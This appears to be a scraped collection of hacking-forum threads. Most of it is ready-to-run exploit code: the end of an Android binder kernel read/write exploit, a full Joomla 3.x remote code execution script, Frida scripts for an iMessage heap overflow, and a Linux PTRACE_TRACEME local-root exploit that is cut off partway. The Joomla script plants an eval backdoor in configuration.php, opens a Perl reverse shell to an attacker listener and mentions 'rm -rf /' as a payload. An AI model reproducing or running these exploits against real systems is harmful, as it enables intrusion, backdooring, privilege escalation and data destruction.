  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
  if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");

  pid_t fork_ret = fork();
  if (fork_ret == -1) err(1, "fork");
  if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
      err(1, "write second chunk to socket");
    exit(0);
  }
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  struct msghdr msg = {
    .msg_iov = iovec_array,
    .msg_iovlen = IOVEC_ARRAY_SZ
  };
  int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
  printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
      (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
}

int kernel_rw_pipe[2];
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
  errno = 0;
  if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
  if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
  if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
}
void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
  errno = 0;
  if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
  if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
  if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
}
unsigned long kernel_read_ulong(unsigned long kaddr) {
  unsigned long data;
  kernel_read(kaddr, &data, sizeof(data));
  return data;
}
void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
  kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uint(unsigned long kaddr, unsigned int data) {
  kernel_write(kaddr, &data, sizeof(data));
}

// Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
// data from `pahole` on my own build with the same .config
#define OFFSET__task_struct__mm 0x520
#define OFFSET__task_struct__cred 0x790
#define OFFSET__mm_struct__user_ns 0x300
#define OFFSET__uts_namespace__name__version 0xc7
// SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
#define SYMBOL__init_user_ns 0x202f2c8
#define SYMBOL__init_task 0x20257d0
#define SYMBOL__init_uts_ns 0x20255c0

int main(void) {
  printf("Starting POC\n");
  //pin_to(0);

  dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  if (dummy_page_4g_aligned != (void*)0x100000000UL)
    err(1, "mmap 4g aligned");
  if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");

  binder_fd = open("/dev/binder", O_RDONLY);
  epfd = epoll_create(1000);
  leak_task_struct();
  clobber_addr_limit();

  setbuf(stdout, NULL);
  printf("should have stable kernel R/W now\n");

  /* in case you want to do stuff with the creds, to show that you can get them: */
  unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
  printf("current->mm == 0x%lx\n", current_mm);
  unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
  printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
  unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
  printf("kernel base is 0x%lx\n", kernel_base);
  if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
  unsigned long init_task = kernel_base + SYMBOL__init_task;
  printf("&init_task == 0x%lx\n", init_task);
  unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
  printf("init_task.cred == 0x%lx\n", init_task_cred);
  unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
  printf("current->cred == 0x%lx\n", my_cred);

  unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;
  char new_uts_version[] = "EXPLOITED KERNEL";
  kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));
}

Источник: https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

RCE, CMS Joomla 3.0.0 <= 3.4.6, CVE-N\A
ID: 67686ba3b4103b69df379cd9
Thread ID: 32343
Created: 2019-10-08T10:03:56+0000
Last Post: 2019-10-08T10:03:56+0000
Author: weaver
Prefix: Web
Replies: 0 Views: 2K

PoC

Python:Copy to clipboard

# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
# Google Dork: N/A
# Date: 2019-10-02
# Exploit Author: Alessandro Groppo @Hacktive Security
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux
# CVE : N/A
#
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# The exploitation is implanting a backdoor in /configuration.php file in the root directory
# with an eval in order to be more suitable for all environments, but it is also more intrusive.
# If you don't like this way, you can replace the get_backdoor_pay()
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
    print(colored("[*] " + str,"cyan"))

def print_ok(str):
    print(colored("[+] "+ str,"green"))

def print_error(str):
    print(colored("[-] "+ str,"red"))

def print_warning(str):
    print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
    token = ''
    resp = requests.get(url, cookies=cook, proxies = PROXS)
    html = BeautifulSoup(resp.text,'html.parser')
    # csrf token is the last input
    for v in html.find_all('input'):
        csrf = v
    csrf = csrf.get('name')
    return csrf


def get_error(url, cook):
    resp = requests.get(url, cookies = cook, proxies = PROXS)
    if 'Failed to decode session object' in resp.text:
        #print(resp.text)
        return False
    #print(resp.text)
    return True


def get_cook(url):
    resp = requests.get(url, proxies=PROXS)
    #print(resp.cookies)
    return resp.cookies


def gen_pay(function, command):
    # Generate the payload for call_user_func('FUNCTION','COMMAND')
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    #payload =  command + ' || $a=\'http://wtf\';'
    payload =  'http://l4m3rz.l337/;' + command
    # Following payload will append an eval() at the enabled of the configuration file
    #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    function_len = len(function)
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    return final

def make_req(url , object_payload):
    # just make a req with object
    print_info('Getting Session Cookie ..')
    cook = get_cook(url)
    print_info('Getting CSRF Token ..')
    csrf = get_token( url, cook)

    user_payload = '\\0\\0\\0' * 9
    padding = 'AAA' # It will land at this padding
    working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
    clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

    inj_object = '";'
    inj_object += object_payload
    inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
    password_payload = padding + inj_object
    params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }

    print_info('Sending request ..')
    resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
    return resp.text

def get_backdoor_pay():
    # This payload will backdoor the the configuration .PHP with an eval on POST request

    function = 'assert'
    template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    # payload =  command + ' || $a=\'http://wtf\';'
    # Following payload will append an eval() at the enabled of the configuration file
    payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    function_len = len(function)
    final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    return final

def check(url):
    check_string = random_string(20)
    target_url = url + 'index.php/component/users'
    html = make_req(url, gen_pay('print_r',check_string))
    if check_string in html:
        return True
    else:
        return False

def ping_backdoor(url,param_name):
    res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
    if 'PWNED' in res.text:
        return True
    return False

def execute_backdoor(url, payload_code):
    # Execute PHP code from the backdoor
    res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
    print(res.text)

def exploit(url, lhost, lport):
    # Exploit the target
    # Default exploitation will append en eval function at the end of the configuration.pphp
    # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
    # e.g. get_payload('system','rm -rf /')

    # First check that the backdoor has not been already implanted
    target_url = url + 'index.php/component/users'

    make_req(target_url, get_backdoor_pay())
    if ping_backdoor(url, backdoor_param):
        print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
        print_info('Now it\'s time to reverse, trying with a system + perl')
        execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t','--target',required=True,help='Joomla Target')
    parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
    parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
    parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
    parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
    args = vars(parser.parse_args())

    url = args['target']
    if(check(url)):
        print_ok('Vulnerable')
        if args['exploit']:
            exploit(url, args['lhost'], args['lport'])
        else:
            print_info('Use --exploit to exploit it')

    else:
        print_error('Seems NOT Vulnerable ;/')
LPE, CompleteFTP < 12.1.2, CVE-2019-16116
ID: 67686ba3b4103b69df379cda
Thread ID: 32220
Created: 2019-10-02T17:17:53+0000
Last Post: 2019-10-02T17:17:53+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

CVE-2019-16116 - CompleteFTP < 12.1.2 Server Local Privilege Escalation

<https://rhinosecuritylabs.com/application-security/completeftp-server-local- privesc-cve-2019-16116/>

CSRF, phpMyAdmin < 4.9.0.1, CVE-2019-12922
ID: 67686ba3b4103b69df379cdb
Thread ID: 32029
Created: 2019-09-25T18:09:37+0000
Last Post: 2019-09-25T18:09:37+0000
Author: tabac
Prefix: Web
Replies: 0 Views: 2K

0day уязвимость в phpMyAdmin

CVE-2019-12922
Версии: phpMyAdmin < 4.9.0.1
Тип: CSRF (Cross-Site Request Forgery)

Описание:

Проблема относится к CSRF (Cross-Site Request Forgery) уязвимостям и получила идентификатор [CVE-2019-12922](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2019-12922). Уязвимости был присвоен средний уровень опасности, так как она позволяет атакующему только удалять серверы в панели phpMyAdmin, но не позволит удалить БД и таблицы.

Для эксплуатации бага злоумышленнику нужно лишь отправить специальную ссылку администратору, который уже залогинен в панели phpmyAdmin в том же браузере. Кликнув по такой ссылке, содержащей специальный запрос от имени пользователя, администратор удалит свой сервер, так как произойдет CSRF- атака, построенная на некорректном использовании метода HTTP. Карденас подчеркивает, что эксплуатация проблемы весьма проста, так как атакующему не нужно знать ничего, кроме URL целевого сервера.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F09%2F239513%2Fphpmyadmin- exploit.jpg&hash=f97184fd949791e729629e7f52914e2b)

Click to expand...

POC:

![seclists.org](/proxy.php?image=https%3A%2F%2Fseclists.org%2Fimages%2Ffulldisclosure- img.png&hash=7fbb8c2e8c8c09085542a47f64c8e5db&return_error=1)

[ Full Disclosure: phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery

](https://seclists.org/fulldisclosure/2019/Sep/23)

![seclists.org](/proxy.php?image=https%3A%2F%2Fseclists.org%2Fshared%2Fimages%2Ftiny- eyeicon.png&hash=9286f01b3d709335731477a891741cf9&return_error=1) seclists.org

__

[ CVE - CVE-2019-12922 ](https://cve.mitre.org/cgi-

bin/cvename.cgi?name=CVE-2019-12922)

cve.mitre.org

MS[CTF] 0day Escalation of Privilege winXP+
ID: 67686ba3b4103b69df379cdd
Thread ID: 31070
Created: 2019-08-14T19:42:10+0000
Last Post: 2019-08-14T19:42:10+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

описание demo - <https://thehackernews.com/2019/08/ctfmon-windows- vulnerabilities.html>

тех детали - <https://googleprojectzero.blogspot.com/2019/08/down-rabbit- hole.html>

https://github.com/taviso/ctftool#Exploit - софт
win 10 x64 1607 - не сработало
win 10 x64 1809 - работает отлично

RCE, Android Media Framework, CVE-2019-2107
ID: 67686ba3b4103b69df379cde
Thread ID: 30555
Created: 2019-07-22T13:17:50+0000
Last Post: 2019-08-12T15:56:23+0000
Author: tabac
Prefix: DoS
Replies: 2 Views: 2K

CVE-2019-2107 : a.k.a "Hevcfright" Proof of Concept exploit (Denial of Service PoC)
![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fmarcinguy%2FCVE-2019-2107%2Fraw%2Fmaster%2Fhevc- crash.png&hash=9eea747483161ca8eb126daac63523ea)

CVE-2019-2107 - looks scary. Still remember Stagefright and PNG bugs vulns .... With CVE-2019-2107 the decoder/codec runs under mediacodec user and with properly "crafted" video (with tiles enabled - ps_pps->i1_tiles_enabled_flag) you can possibly do RCE. The codec affected is HVEC (a.k.a H.265 and MPEG-H Part 2)

github.com

[ GitHub - marcinguy/CVE-2019-2107: CVE-2019-2107

](https://github.com/marcinguy/CVE-2019-2107/)

CVE-2019-2107. Contribute to marcinguy/CVE-2019-2107 development by creating an account on GitHub.

github.com github.com

CVE-2019-8661 - iMessage URL Deserializing Heap Overflow
ID: 67686ba3b4103b69df379cdf
Thread ID: 30932
Created: 2019-08-09T19:27:36+0000
Last Post: 2019-08-09T19:27:36+0000
Author: tabac
Prefix: Remote
Replies: 0 Views: 2K

Нашумевшая уязвимость, найденная Natalie Silvanovich

[ Remotely Stole Files Through iMessage on iOS 12.3.1 (CVE-2019-8646)

](https://xss.is/threads/30785/)

Уязвимость в iOS iMessage, позволяющая воровать файлы. Remotely Stole Files Through iMessage on iOS 12.3.1 (CVE-2019-8646 by natashenka)

xss.is xss.is

iMessage URL Deserializing Heap Overflow -[CVE-2019-8661](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2019-8661)

Описание уязвимости от автора:

There is a heap overflow in [NSURL initWithCoder:] that can be
reached via iMessage and likely other paths.
When an NSURL is deserialized, one property its
plist can contain is NS.minimalBookmarkData, which is
then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:].
This method uses a wide variety of code to parse the provided bookmark data.
On a Mac, if the data is a pre-2012 alias file, it will
be processed using the FSResolveAliasWithMountFlags function
in the CarbonCore framework.
This function can eventually call ALI_GetUTF8Path,
which has an unsafe call to strcat_chk, leading to memory corruption.

Click to expand...

Шаги для эксплуатации:

Скрипты:
injectMessage.js

JavaScript:Copy to clipboard

// Whether the serialized outgoing message should be replaced entirely.
var replaceSerializedMessage = false;

// Create the replacement data.
var dataLen = 0x100;
var rawData = new Uint8Array(dataLen);
for (var i = 0; i < dataLen; i++)
    rawData[i] = 0x41;
var buffer = Memory.alloc(dataLen);
buffer.writeByteArray(rawData.buffer);
var replacementData = ObjC.classes.NSData.dataWithBytes_length_(buffer, dataLen);


// Hook the message serialization routine.
var jw_encode_dictionary_addr = Module.getExportByName(null, "JWEncodeDictionary");
send("Hooking JWEncodeDictionary" + jw_encode_dictionary_addr);
Interceptor.attach(jw_encode_dictionary_addr, {
    onEnter: function(args) {
       var dict = ObjC.Object(args[0]);
        if (dict == null) {
            return;
        }

        send(dict.toString())

        var t = dict.objectForKey_("t")
        if (t == null) {
            return;
        }

        if (t == "REPLACEME") {
            var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
            console.log("here");
            var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
            console.log(d);
            var n = ObjC.classes.NSNumber.numberWithInt_(0x77777);
            var a = ObjC.classes.NSMutableArray.arrayWithObject_("mailto:asdf@gmail.com");
            a.addObject_("tel:+16508805555");
        newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin.com.apple.PassbookUIService.PeerPaymentMessagesExtension", "bid");
            newDict.setObject_forKey_(a, "p");
            newDict.setObject_forKey_(d, "bp");

            newDict.setObject_forKey_("B1A83E5A-F365-4715-9960-B9C53F8AE987", "gid");
            newDict.setObject_forKey_(8, "gv");
            newDict.setObject_forKey_(0, "p");
            newDict.setObject_forKey_("D5C6AEB7-FBD8-41AA-89CD-F8129C4261B1", "r");

            newDict.setObject_forKey_(1, "v");
        
            args[0] = newDict.handle;

            send("DONE");
        }
    },

    onLeave: function(retval) {
        if (replaceSerializedMessage) {
            console.log("replacing")
            retval.replace(replacementData);
            replaceSerializedMessage = false;
        }
    }
});

sendMessage.py

Python:Copy to clipboard

import frida
import sys
import subprocess
import time

# define the recievers email or phone number
receiver = "YOUR EMAIL"

exit = False

def on_message(message, data):
    global exit
    if message['type'] == 'send':
        payload = message['payload']
        if payload == "DONE":
            print("done")
            exit = True
            return
    else:
        print(message)


session = frida.attach("imagent")

code = open('injectMessage.js', 'r').read()
script = session.create_script(code);
script.on("message", on_message)
script.load()

# Send a message through apple script. Our hook will detect it and replace it before sending.
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"])

while not exit:
    time.sleep(0.1)
LPE, Linux 4.10 < 5.1.17, CVE-2019-13272
ID: 67686ba3b4103b69df379ce0
Thread ID: 30912
Created: 2019-08-08T20:34:20+0000
Last Post: 2019-08-08T20:34:20+0000
Author: weaver
Prefix: Local
Replies: 0 Views: 2K

PoC

C:Copy to clipboard

// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define SAFE(expr) ({                   \
  typeof(expr) __res = (expr);          \
  if (__res == -1) {                    \
    dprintf("[-] Error: %s\n", #expr);  \
    return 0;                           \
  }                                     \
  __res;                                \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
  static char buf[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  va_end(ap);
  return buf;
}

/*
 * fork, execute pkexec in parent, force parent to trace our child process,
 * execute suid executable (pkexec) in child.
 */
static int middle_main(void *dummy) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();

  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

  pid_t child = SAFE(fork());
  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    SAFE(dup2(self_fd, 42));

    /* spin until our parent becomes privileged (have to be fast here) */
    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
    while (1) {
      char buf[1000];
      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
      buf[buflen] = '\0';
      if (strstr(buf, needle)) break;
    }

    /*
     * this is where the bug is triggered.
     * while our parent is in the middle of pkexec, we force it to become our
     * tracer, with pkexec's creds as ptracer_cred.
     */
    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

    /*
     * now we execute a suid executable (pkexec).
     * Because the ptrace relationship is considered to be privileged,
     * this is a proper suid execution despite the attached tracer,
     * not a degraded one.
     * at the end of execve(), this process receives a SIGTRAP from ptrace.
     */
    execl(pkexec_path, basename(pkexec_path), NULL);

    dprintf("[-] execl: Executing suid executable failed");
    exit(EXIT_FAILURE);
  }

  SAFE(dup2(self_fd, 0));
  SAFE(dup2(block_pipe[1], 1));

  /* execute pkexec as current user */
  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) {
    dprintf("[-] getpwuid: Failed to retrieve username");
    exit(EXIT_FAILURE);
  }

  middle_success = 1;
  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
        helper_path,
        "--help", NULL);
  middle_success = 0;
  dprintf("[-] execl: Executing pkexec failed");
  exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
  struct user_regs_struct regs;
  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

  /* set up indirect arguments */
  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
  struct injected_page {
    unsigned long argv[2];
    unsigned long envv[1];
    char arg0[8];
    char path[1];
  } ipage = {
    .argv = { scratch_area + offsetof(struct injected_page, arg0) }
  };
  strcpy(ipage.arg0, arg0);
  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pdata = ((unsigned long *)&ipage)[i];
    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
                (void*)pdata));
  }

  /* execveat(exec_fd, path, argv, envv, flags) */
  regs.orig_rax = __NR_execveat;
  regs.rdi = exec_fd;
  regs.rsi = scratch_area + offsetof(struct injected_page, path);
  regs.rdx = scratch_area + offsetof(struct injected_page, argv);
  regs.r10 = scratch_area + offsetof(struct injected_page, envv);
  regs.r8 = AT_EMPTY_PATH;

  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
}

static int middle_stage2(void) {
  /* our child is hanging in signal delivery from execve()'s SIGTRAP */
  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
  force_exec_and_wait(child, 42, "stage3");
  return 0;
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {
  SAFE(setresgid(0, 0, 0));
  SAFE(setresuid(0, 0, 0));
  execlp(SHELL, basename(SHELL), NULL);
  dprintf("[-] execlp: Executing shell %s failed", SHELL);
  exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
  const char* xdg_session = getenv("XDG_SESSION_ID");

  dprintf("[.] Checking environment ...\n");

  if (stat(pkexec_path, &st) != 0) {
    dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
    exit(EXIT_FAILURE);
  }
  if (stat(pkaction_path, &st) != 0) {
    dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
    exit(EXIT_FAILURE);
  }
  if (xdg_session == NULL) {
    dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
    return 1;
  }
  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
    dprintf("[!] Warning: Could not find active PolKit agent\n");
    return 1;
  }
  if (stat("/usr/sbin/getsebool", &st) == 0) {
    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
      dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
      return 1;
    }
  }

  dprintf("[~] Done, looks good\n");

  return 0;
}

/*
 * Use pkaction to search PolKit policy actions for viable helper executables.
 * Check each action for allow_active=yes, extract the associated helper path,
 * and check the helper path exists.
 */
int find_helpers() {
  char cmd[1024];
  snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
  FILE *fp;
  fp = popen(cmd, "r");
  if (fp == NULL) {
    dprintf("[-] Failed to run: %s\n", cmd);
    exit(EXIT_FAILURE);
  }

  char line[1024];
  char buffer[2048];
  int helper_index = 0;
  int useful_action = 0;
  static const char *needle = "org.freedesktop.policykit.exec.path -> ";
